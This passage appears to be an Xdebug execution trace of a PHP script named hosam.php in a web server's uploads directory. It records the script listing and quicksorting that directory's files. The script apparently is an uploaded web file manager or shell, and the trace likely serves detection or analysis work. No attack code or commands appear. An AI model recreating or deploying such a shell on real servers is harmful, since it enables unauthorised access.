'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
2 A /var/www/html/uploads/hosam.php 1089 $list = [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
3 157 0 0.008212 786104 array_key_exists 0 /var/www/html/uploads/hosam.php 1091 2 'sort' []
3 157 1 0.008226 786168
3 157 R FALSE
2 A /var/www/html/uploads/hosam.php 1091 $sort = 'filename'
3 158 0 0.008251 786104 array_key_exists 0 /var/www/html/uploads/hosam.php 1092 2 'reverse' []
3 158 1 0.008265 786168
3 158 R FALSE
2 A /var/www/html/uploads/hosam.php 1092 $reverse = FALSE
3 159 0 0.008289 786128 sortlist 1 /var/www/html/uploads/hosam.php 1094 3 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']] 'filename' FALSE
4 160 0 0.008359 786128 sizeof 0 /var/www/html/uploads/hosam.php 826 1 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']]
4 160 1 0.008426 786160
4 160 R 6
4 161 0 0.008440 786128 quicksort 1 /var/www/html/uploads/hosam.php 826 4 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']] 0 5 'filename'
5 162 0 0.008508 786128 floor 0 /var/www/html/uploads/hosam.php 836 1 2.5
5 162 1 0.008521 786160
5 162 R 2
4 A /var/www/html/uploads/hosam.php 836 $cmp = 'prepend.php'
4 A /var/www/html/uploads/hosam.php 838 $l = 0
4 A /var/www/html/uploads/hosam.php 839 $r = 5
4 A /var/www/html/uploads/hosam.php 843 $l++
4 A /var/www/html/uploads/hosam.php 843 $l++
4 A /var/www/html/uploads/hosam.php 848 $tmp = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/hosam.php 849 $array[2] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/hosam.php 850 $array[5] = ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
4 A /var/www/html/uploads/hosam.php 852 $l++
4 A /var/www/html/uploads/hosam.php 853 $r--
4 A /var/www/html/uploads/hosam.php 843 $l++
4 A /var/www/html/uploads/hosam.php 843 $l++
5 163 0 0.008700 786128 quicksort 1 /var/www/html/uploads/hosam.php 859 4 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 0 4 'filename'
6 164 0 0.008770 786128 floor 0 /var/www/html/uploads/hosam.php 836 1 2
6 164 1 0.008783 786160
6 164 R 2
5 A /var/www/html/uploads/hosam.php 836 $cmp = '.htaccess'
5 A /var/www/html/uploads/hosam.php 838 $l = 0
5 A /var/www/html/uploads/hosam.php 839 $r = 4
5 A /var/www/html/uploads/hosam.php 843 $l++
5 A /var/www/html/uploads/hosam.php 843 $l++
5 A /var/www/html/uploads/hosam.php 844 $r--
5 A /var/www/html/uploads/hosam.php 844 $r--
5 A /var/www/html/uploads/hosam.php 848 $tmp = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/hosam.php 849 $array[2] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/hosam.php 850 $array[2] = ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root']
5 A /var/www/html/uploads/hosam.php 852 $l++
5 A /var/www/html/uploads/hosam.php 853 $r--
6 165 0 0.008953 786128 quicksort 1 /var/www/html/uploads/hosam.php 859 4 [0 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 0 1 'filename'
7 166 0 0.009023 786128 floor 0 /var/www/html/uploads/hosam.php 836 1 0.5
7 166 1 0.009036 786160
7 166 R 0
6 A /var/www/html/uploads/hosam.php 836 $cmp = '..'
6 A /var/www/html/uploads/hosam.php 838 $l = 0
6 A /var/www/html/uploads/hosam.php 839 $r = 1
6 A /var/www/html/uploads/hosam.php 848 $tmp = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
6 A /var/www/html/uploads/hosam.php 849 $array[0] = ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
6 A /var/www/html/uploads/hosam.php 850 $array[1] = ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']
6 A /var/www/html/uploads/hosam.php 852 $l++
6 A /var/www/html/uploads/hosam.php 853 $r--
7 167 0 0.009170 786128 quicksort 1 /var/www/html/uploads/hosam.php 859 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 0 0 'filename'
7 167 1 0.009241 786128
7 168 0 0.009248 786128 quicksort 1 /var/www/html/uploads/hosam.php 860 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 57, 'permission' => 33261, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root']] 1 1 'filename'
7 168 1 0.009316 786128
6 165 1 0.009327 786128
6 169 0 0.009335 786128 quicksort 1 /var/www/html/uploads/hosam.php 860 4 [0 => ['filename' => '.', 'path' => '/var/www/html/uploads/.', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 1 => ['filename' => '..', 'path' => '/var/www/html/uploads/..', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 2 => ['filename' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 64, 'permission' => 33188, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'root', 'group_name' => 'root'], 3 => ['filename' => 'hosam.php', 'path' => '/var/www/html/uploads/hosam.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => FALSE, 'size' => 68561, 'permission' => 33204, 'owner' => 1000, 'group' => 1000, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => FALSE, 'owner_name' => 'osboxes', 'group_name' => 'osboxes'], 4 => ['filename' => 'data', 'path' => '/var/www/html/uploads/data', 'is_file' => FALSE, 'is_dir' => TRUE, 'is_link' => FALSE, 'is_readable' => TRUE, 'is_writable' => TRUE, 'size' => 4096, 'permission' => 16895, 'owner' => 0, 'group' => 0, 'mtime' => 1676254317, 'atime' => 1676254317, 'ctime' => 1676254317, 'is_executable' => TRUE, 'owner_name' => 'root', 'group_name' => 'root'], 5 => ['filename' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'is_file' => TRUE, 'is_dir' => FALSE, 'is_link' => FALSE, 'is_readable' => TRUE, 